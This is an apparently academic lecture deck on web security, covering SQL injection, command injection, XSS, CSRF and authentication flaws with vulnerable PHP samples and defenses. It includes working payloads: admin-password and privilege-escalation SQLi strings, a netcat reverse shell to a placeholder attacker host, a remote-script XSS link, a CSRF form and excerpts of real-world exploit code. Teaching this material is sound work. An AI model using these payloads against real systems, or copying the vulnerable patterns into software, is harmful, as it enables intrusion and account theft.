Web security: an introduction to attack techniques and defense methods

Mauro Gentile

Web Security and Privacy
F. d'Amore

Dept. of Computer, Control, and
Management Engineering Antonio Ruberti
Sapienza University of Rome

December 2019

Web security: principles and goals

Principles

- Branch of computer security specifically related to the Internet
- It deals with attacks over the Internet
- It includes two major areas:
  - Web Application Security
  - Web Browser Security

Goals

- Web applications should guarantee a strong security level and should be implemented by following the secure coding guidelines
- Web browsers should protect users in a way to avoid computer infections and sensitive data compromise

Web security: motivation

The importance of web security

- Most web sites and applications are affected by vulnerabilities
  - Attackers can access confidential data by breaking into web applications
- Many users are not security minded
  - Attackers may target users by asking to visit malicious web sites
- Several components could be targeted
  - Huge attack surface
  - Since many layers can be attacked, chances to get compromised increase
- Data breaches occur quite frequently
  - http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/

Attacking the server(-side)

- Typically, hackers can exploit injection flaws and other web application vulnerabilities:
  - SQL Injection
  - Command execution
  - Local file access
  - XML External Entities processing
  - Web server exploits and misconfiguration
  - Exposed administrative panels
  - And many others…

- OWASP Top 10
  - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project

- Involved components:
  - Web applications, Web services, Web servers, Databases

Attacking the users

- Typically, hackers can exploit web application vulnerabilities to attack users:
  - Cross-Site Scripting
  - Cross-Site Request Forgery
  - UI Redressing
  - Arbitrary URL redirects
  - And many others...

- Possible goals:
  - Impersonating users
  - Escalating privileges
  - Forcing victims to trigger unwanted operations

HTTP protocol: basics

- Application protocol at the basis of data communication for the Internet

- Stateless protocol
  - The web server does not hold any information on previous HTTP requests
  - State maintained through sessions (cookies)

- No protection against eavesdropping attempts for data in transit
  - HTTPS is used for ensuring confidentiality, integrity and authentication

- Usually, timeout is not a problem
  - Data modification in MiTM conditions is feasible via an HTTP proxy

- DNS spoofing leads to communicate with unexpected servers (in plain HTTP)

Same-Origin Policy

- Security principle that regulates web browser security
    - It restricts how a document loaded from A.com can interact with another document hosted on B.com
    - A.com and B.com are considered as different origins, therefore they are isolated

    - Example:
        - The user is logged in sensi.tive.webm.ail.com
        - The attacker may ask him to visit evil.com aiming towards stealing his session cookies for sensi.tive.webm.ail.com
        - SOP prohibits such attempt resulting in a security exception

- SOP details are discussed in:
    - https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
    - https://code.google.com/archive/p/browsersec/wikis/Part2.wiki

Moving to web attacks

Attack

- HTTP requests containing malicious payloads could attack web applications
- Vulnerable web applications might have weaknesses, whose exploitation could potentially lead to critical consequences
- Unpatched clients are potentially affected by several vulnerabilities

Defense

- Vulnerability detection is not trivial, at least for “uncommon” bugs
- Penetration testing and source code analysis activities are definitely useful for detecting security issues
- Protecting users requires several layers of protection both on the client and on the server side

Testing Web Applications

- Identifying vulnerabilities in web applications requires a testing activity in which the tester looks for specific flaws

- Testing is carried out - at least for ethical and professional assessments - by following a specific methodology, such as the OWASP Testing Guide:
  - https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents

- Professional testing activities can take place through different scenarios, based on the provided knowledge:
  - Black-box
  - White-box
  - Gray-box

- Known vulnerable web applications for vulnerability testing
  - https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Off-Line_apps

Injection attacks

SQL Injection

- Mixing SQL code with user-supplied input could lead to modify the intended SQL code behavior, since the hostile input is parsed by the SQL interpreter
  - The application combines user inputs with static parameters to build an SQL query

- Example (Vulnerable change password functionality)
  - Taken from: http://php.net/manual/en/security.database.sql-injection.php

```
<?php
// ...
// $pwd and $uid are user controlled inputs
// ...
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
// perform query
?>
```

SQL Injection (cont'd)

- Changing the admin's password
  - target.php?pwd=hello&uid=%27%20or%20user%20like%20%27%25admin%25

```
<?php
// ...
// $uid: ' or user like '%admin%
// ...
// resulting query:
$query = "UPDATE usertable SET pwd='hello' WHERE uid='' or user like '%admin%';";
// perform query
?>
```

- Escalating privileges
  - target.php?pwd=hello%27%2C%20admin%3D%27yes&uid=[attacker_id]

```
<?php
// ...
// $pwd: hello', admin='yes
// ...
// resulting query:
$query = "UPDATE usertable SET pwd='hello', admin='yes' WHERE uid='[att_id]';";
// perform query
?>
```

SQL Injection (cont'd)

- It is important to consider that the presented PHP code is vulnerable to multiple issues:
    - SQL Injection
    - Plain text passwords stored in the database
        - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
        - https://www.owasp.org/index.php/Hashing_Java
    - Potential authorization bypass by controlling the “uid” parameter
        - https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)
    - Sensitive data sent in GET parameters
        - https://cwe.mitre.org/data/definitions/598.html
    - Insecure password change procedure
        - The old password is not requested
    - CSRF by knowing the victim's “uid”
    - Potential XSS if malformed queries are reflected in the error page

SQL Injection (cont'd)

- Multiple SQL Injection exploitation techniques exist based on the injectable query and the application behavior
    - https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
    - https://github.com/sqlmapproject/sqlmap/wiki/Techniques

- Basic UNION query-based scenario
    - The application returns the result of the SELECT query line by line

```
SELECT id, name, description, price, quantity
FROM Items
WHERE Id=200 UNION ALL SELECT 1,username,hashedpwd,1,1 FROM Users
```

- Boolean-based blind scenario
    - Data extraction through SELECT subqueries and inference

```
SELECT id, name FROM Items
WHERE price <= 200 AND
name = 'known' AND (SELECT database() LIKE 'dbtes%') #'
```

SQL Injection: protection techniques

- Never trust any kind of input
- Use prepared statements with parameterized queries
  - User input handled as the value of a parameter, instead of being part of the SQL statement
    - https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#Escaping_SQLi_in_PHP

```
<?php
// uid should not be user controlled
// …
$stmt = $conn->prepare("UPDATE usertable SET pwd=? WHERE uid=?");
// types for the corresponding bind variables are provided
$stmt->bind_param('si', $pwd, $_SESSION["userid"]);
// session variables could be indirectly tainted if session poisoning issues are present
$stmt->execute();
// …
?>
```

- Do not blacklist potentially harmful characters as a way to protect against SQLi

Command Injection

- Untrusted data is passed to an interpreter as part of a command
- The injected data makes the target system execute unintended commands
- The issue may involve any software which programmatically executes a command
- Example (command injection in file deletion function)
    - Taken from: https://www.owasp.org/index.php/Command_Injection

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
system("rm $file");
?>
```

Command Injection (cont'd)

- Executing arbitrary commands
  - delete.php?filename=bob.txt;whoami

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become: system(“rm bob.txt;whoami”)
system("rm $file");
?>
```

- Response

```
www-data
```

Command Injection (cont'd)

- Gaining a reverse shell
  - On the attacker's host, waiting for the victim's connection:

```
nc -n -vv -l -p [PORT]
```

  - Triggering the connection on the target side:
    - delete.php?filename=bob.txt;nc [ATTACKER_IP] [ATTACKER_PORT] -e /bin/bash

```
<?php
print("Please specify the name of the file to delete");
$file=$_GET['filename'];
// the following instruction will become:
// system(“rm bob.txt;nc [ATTACKER_IP] [ATTACKER_PORT] -e /bin/bash”)
system("rm $file");
?>
```

- Exploiting a Command Injection flaw usually leads to “Game over” situations
  - The impact depends upon the privileges under which the command gets executed

Command Injection: defense techniques

- It is recommended to:
  - Perform strict input validation against any kind of input
  - Adopt parameterized API such that command arguments are given as array entries

```
bool pcntl_exec ( string $path [, array $args [, array $envs ]] )
```

- Another option consists in using input escaping functions provided by the language
  - PHP
    - escapeshellarg
    - escapeshellcmd

- In case of parameterized API or escaping functions adoption, it is required to consider argument injection scenarios as well
  - Some external programs can execute other programs based on the given arguments
  - Command arguments can be injected to carry out malicious operations

Real-world command injection flaws

- Arbitrary command execution in NVIDIA GFE
  - Request body being directly used within the child_process.exec Node.js function
  - Exploitable through secret token stealing and insecure CORS policy
    - https://rhinosecuritylabs.com/application-security/nvidia-rce-cve-2019-5678/

```
...
var childProc = require('child-process').exec;
childProc("\"" + req.text + "\"", function (err, data) {});
...
```

- Once the victim is convinced in uploading its secret token, a cross-domain HTTP request can be sent to target the vulnerable endpoint
    - https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-5678

```
...
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
xhr.setRequestHeader("Content-Type", "text\/html");
xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
var body = "\""+document.getElementById("cmd").value+"\"";
...
```

Real-world command injection flaws

- Command Injection in Linux Mint “yelp”
  - Some specific URI handlers are passed to the yelp executable as a command argument
    - https://github.com/b1ack0wl/linux_mint_poc

```
if (len(sys.argv) > 1):
    args = ' '.join(sys.argv[1:])
    if ('gnome-help' in args) and not os.path.exists('/usr/share/help/C/gnome-help'):
...
    else:
        os.system ("/usr/bin/yelp %s" % args)
```

- Specifically crafted URLs permit to carry out command injection attacks
  - https://github.com/b1ack0wl/linux_mint_poc/blob/master/metasploit_module/exploit.rb

```
...
    <script>
      lmao = document.createElement('a');
      lmao.href= "ghelp://$(#{cmd_inj})";
      document.body.appendChild(lmao);
      lmao.click();
...
```

Cross-Site Scripting and Cross-Site Request Forgery

Session Hijacking

- By assuming that an attacker was able to compromise the victim's session, then it could impersonate him in the context of the target web application

- This can take place through multiple issues:
  - Predictable session tokens
  - Cross-Site Scripting vulnerabilities
  - Mixed content issues
  - Session Fixation
  - SOP bypass exploits
  - Victim's computer malware infection

Cross-Site Scripting

- Malicious HTML and/or JavaScript code is injected in the context of a target domain
- Since the browser have no way to distinguish whether a script is legit or not, it will execute it
- According to the SOP, the injected code will be executed in the context of the trusted web site
- Generally, Cross-Site Scripting (XSS) attacks are categorized in three categories:
  - Reflected XSS
  - Stored XSS
  - DOM-Based XSS

Reflected XSS

- The target web application echoes back user supplied input in the HTML response without performing input validation and output encoding
- Example (basic reflected XSS)
  - http://target/index.php?name=you

```
<?php
$name=$_GET['name'];
echo “Hey “.$name;
?>
```

- HTML response

```
Hey you
```

- What if ?name=<script src=//ev.il.co.m/mal.js></script> ?

```
Hey <script src=//ev.il.co.m/mal.js></script>
```

Reflected XSS: exploitation flow

1. The attacker sends a specifically crafted link to the victim and asks him to visit it
   - http://target/index.php?name=<script src=//ev.il.co.m/mal.js></script>
2. The victim clicks the malicious link pointing to http://target
3. The PHP page index.php echoes back the injected parameter
4. The script hosted on ev.il.co.m/mal.js is executed

- Based on the content of mal.js, the attacker may perform different types of actions
  - Session hijacking

- Take into consideration that exploiting a reflected XSS is often related to filter evasion

Stored XSS

- The injected script is stored in a permanent data store and echoed back whenever users will visit the injected web page

- Exploitation flow example:
  1. The attacker leaves a malicious comment in a blog
  2. Upon comments moderation, the blog admin is involved in the attack since the malicious JavaScript code is executed

- Real world example
  - Stored XSS in Google using the Dataset Publishing Language
    - https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html

XSS: protection techniques

- Perform input validation and contextual output encoding

- Check whether the input resembles the expected data format through a whitelist approach
  - Do not adopt blacklists: these are typically subject to bypasses

- Output encoding
  - Potentially harmful characters are escaped:
    - < becomes &lt;
    - > becomes &gt;
    - “ becomes &quot;
    - & becomes &amp;
    - And so on...

XSS: protection techniques (cont'd)

- XSS protection depends on the reflection context
- Any data entry point should be handled on the basis of the context in which it is reflected in the HTML response

- Example (insecure XSS protection)

```
<?php
$url=$_GET['url'];
echo '<a href=”'.htmlspecialchars($url).'”>click me</a>';
?>
```

- XSS with ?url=javascript:alert(1)
  - htmlspecialchars performs escaping for HTML contexts, and not for HTML attributes
  - No input validation performed
    - https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

DOM-Based XSS

- The client-side script is misused in order to make it work maliciously
- The attacker exploits the fact that no filtering is performed on some inputs
  - The JavaScript attribute accessing such input is called source
- The client-side code “manipulates” such data making the exploit take place
  - The JavaScript function/attribute which ends up with input reflection/execution is called sink

- Example (basic DOM-Based XSS)

```
<div id=”content”></div>
<script>
var user = location.hash.slice(1);
document.getElementById(“content”).innerHTML = “Hello ” + user;
</script>
```

- Exploitable (*in IE*) with `http://target/index.php#<img src=xx:x onerror=alert(1) />`
- Source: `location.hash` Sink: `innerHTML`

- Real world example
  - DOM-Based XSS in Google VRView library
    - http://blog.mindedsecurity.com/2018/04/dom-based-cross-site-scripting-in.html

DOM-Based XSS: protection techniques

- Perform input validation and contextual output encoding
  - https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
  - https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_%28OTG-CLIENT-001%29
- Input validation can take place on the client if the input does not reach the server application

```
<div id=”content”></div>
<script>
var user = location.hash.slice(1);
if (user.match(/^[a-z]+$/i))
  document.getElementById(“content”).innerHTML = “Hello ” + user;
</script>
```

- Output encoding on the client-side is carried out through JavaScript functions

Real-world XSS flaws

- Stored XSS in MyBB via BBCode
  - BBCode parsing issue when HTML conversion occurs
  - Successful exploitation results in RCE targeting a file write administrative functionality
    - https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/
    - https://medium.com/@knownsec404team/the-analysis-of-mybb-18-20-from-stored-xss-to-rce-7234d7cc0e72

```
[video=youtube]https://www.youtube.com/embed#[url]onload=alert(1);//[/url][/video]
```

↓

```
<iframe src="//www.youtube.com/embed/<a href="http://onload=alert(1);//""></iframe>
```

↓

```
<iframe src="//www.youtube.com/embed/<a href=" http:="" onload=alert(1);//"">
</iframe>
```

Cross-Site Request Forgery

- Attack in which the victim is forced into making unwanted operations with respect to a web application, he is authenticated with
- The target of CSRF attacks are state-changing functionality
- The attack is feasible since the browser automatically appends cookies to HTTP requests, also to the ones taking place cross-domain

- Example (CSRF affecting the change password procedure)
  - The attacker wants to force the victim to change its password to an arbitrary one
  - He asks the victim to visit the following web page:

```
<script>
function change() { document.forms[0].submit(); }
</script>
<body onload=”change()”>
<form action=”https://target/changePass.php” method=”POST”>
<input type=”hidden” name=”newPass” value=”hello” />
</form>
</body>
```

Cross-Site Request Forgery (cont'd)

- By considering <u>unprotected</u> state-changing functionality, the web application assumes that any received HTTP request is legitimately sent by the trusted user

- Any web application functionality should be protected against CSRF events

- By assuming the case in which banking applications are not CSRF-protected, then visiting ev.il.co.m could lead to unwanted money transfers

- Obviously, XSS => CSRF

CSRF: protection techniques

- Random anti-CSRF token sent in any state-changing request and verified on the server
  - The token is generated by the web application and put in HTML responses
  - Due to SOP, no way for attackers to access such information, unless it is predictable
  - Receiving requests with the expected token implies that they are coming from the trusted web site

- Double-submit cookies
  - Anti-CSRF token sent both in a cookie and in the request body
    - Cryptographically signed (through HMAC) data, tied to user id and generation timestamp
      - https://webstersprodigy.net/2013/07/15/the-deputies-are-still-confused-full-talk-and-content-from-blackhat-eu/
      - https://labs.detectify.com/2017/01/12/csp-flaws-cookie-fixation/

CSRF: protection techniques (cont'd)

- Same-Site Cookies
  - Defense in depth against CSRF, and countermeasure against timing and Cross-site script inclusion attacks
  - It permits to define whether specific cookies will be sent along with cross-site requests, limiting their exposure

  - Setting the `SameSite` flag to `Strict` would force the browser to send the cookie along with same-site requests only
  - It is suggested, however, to provide the usual server-side defenses too
    - Partial browsers support
    - CSRF vulnerable handlers accepting “safe” HTTP methods could potentially remain vulnerable in case of `Lax` enforcement

  - https://tools.ietf.org/html/draft-west-first-party-cookies-07
  - http://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/
  - https://www.owasp.org/index.php/SameSite

Real-world CSRF flaw

- CSRF in GitHub OAuth Authorize handler
  - Missing CSRF protection against non-POST requests
  - Wrong assumption about HEAD requests being handled as GET ones by the controller
    - https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html

```
if request.get?
  # serve authorization page HTML
else
  # grant permissions to app
end
```

- Cross-site authenticated HEAD request gave arbitrary OAuth permissions

```
...
const authUrl = `https://github.com/login/oauth/authorize
?client_id=${CLIENT_ID}&scope=read:user&authorize=1`;
    fetch(
      authUrl,
      {
        method: 'HEAD',
        credentials: 'include',
        mode: 'no-cors'
      }
...
```

Authentication Issues

Authentication Issues

- Authentication weaknesses may permit to access authenticated resources without providing valid credentials

- Flaws in the authentication controls might permit to bypass the authentication schema

- In addition to the login procedure and the authentication controls, further functionalities are involved and can be vulnerable, such as:
  - Remember password, Change and reset password, Logout

- Obviously, Authentication is strictly related to Session Management:
  - https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet#Authentication_and_Session_Management_Cheat_Sheet

- Testing for authentication (OWASP Testing Guide):
  - https://www.owasp.org/index.php/Testing_for_authentication

Authentication Issues (cont'd)

- Terribly vulnerable authentication control sample (I)
  - By sending an “authenticated” cookie, the attacker is able to access authenticated areas

```
...
        if(isset($_COOKIE['authenticated'])) {
                // access the authenticated area
        } else {
                // login required
        }
...
```

- Vulnerable authentication control sample (II)
  - The logout function sets a valid session variable and does not destroy the session; the authentication check accepts empty variables through isset

```
authenticated.php
...
if(isset($_SESSION['user'])){
        // access the privileged area
} else {
        // login required
}
...
```

```
logout.php

<?php
session_start();
$_SESSION['user']="";
header("Location: index.php");
?>
```

That's all

- Modern web security involves many other aspects, we did not cover because of obvious time constraints, for instance:
  - Cryptography aspects
  - Logical bugs
  - Access Control and Session Management mechanisms
  - Low-level flaws having place in web environments
    - Vulnerabilities in image processing libraries: https://scarybeastsecurity.blogspot.it/2017/03/black-box-discovery-of-memory.html
    - Cloudbleed: https://bugs.chromium.org/p/project-zero/issues/detail?id=1139

- Several other attack techniques exist
- Protecting against modern threats requires a good and up-to-date knowledge of security issues and exploitation techniques

Suggested Resources and Learning Material

- Portswigger Web Security Academy
  - https://portswigger.net/web-security
- AppSec Ezine
  - https://github.com/Simpsonpt/AppSecEzine
- Guidelines for building secure PHP applications
  - https://paragonie.com/blog/2017/12/2018-guide-building-secure-php-software
- Exhaustive list of security bug patterns affecting Java web applications
  - http://find-sec-bugs.github.io/bugs.htm
- RIPS Tech Security Advent Calendars
  - https://www.ripstech.com/java-security-calendar-2019/
  - https://www.ripstech.com/php-security-calendar-2017/

About me

Mauro Gentile

- Principal Security Consultant @ Minded Security
  - Penetration testing
  - Source code analysis
  - Vulnerability assessments
  - Security research
  - More generally, delivering services regarding Application Security

    (https://www.mindedsecurity.com/index.php/about-us)

Personal
Email: gentile.mauro.mg@gmail.com
Twitter: @sneak_

Company
Email: mauro.gentile@mindedsecurity.com
Web site: https://www.mindedsecurity.com/
Blog: http://blog.mindedsecurity.com/